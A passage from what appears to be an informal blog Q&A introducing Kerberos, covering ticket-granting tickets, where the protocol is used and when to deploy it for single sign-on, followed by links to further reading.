If client B need to communicate to another node (kerberos coin it
'principal'), it send the TGT to the Ticket Granting Service (TGS). TGS shared the same host as the KDC. If the TGT is verified valid, then the user is permitted to access the requested service in the node. TGS will issue a Ticket and session keys to the client.

3. where does it used?
windows domain controller or in samba. Basically any service that support kerberos authentication.

4. should i use it?
That depend for a few factors. for one, if you are administrator for a organization which has many computer resources, you want to provide single sign on for the user. That is, once a user is authenticated, the authenticated user can access to the resources it allow it. Then in this situation, it may sounds logical to implement kerberos into the network authentication service.

5. any link for me to read further?
sure, i find the below is useful.
http://en.wikipedia.org/wiki/Kerberos_%28protocol%29" title="http://en.wikipedia.org/wiki/Kerberos_%28protocol%29
https://help.ubuntu.com/11.10/serverguide/kerberos.html" title="https://help.ubuntu.com/11.10/serverguide/kerberos.html
https://help.ubuntu.com/community/Kerberos" title="https://help.ubuntu.com/community/Kerberos
http://www.centos.org/docs/5/html/Deployment_Guide-en-US/ch-kerberos.html
http://www.centos.org/docs/5/html/CDS/ag/8.0/Introduction_to_SASL-Configuring_Kerberos.html
http://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-kerberos-clients.html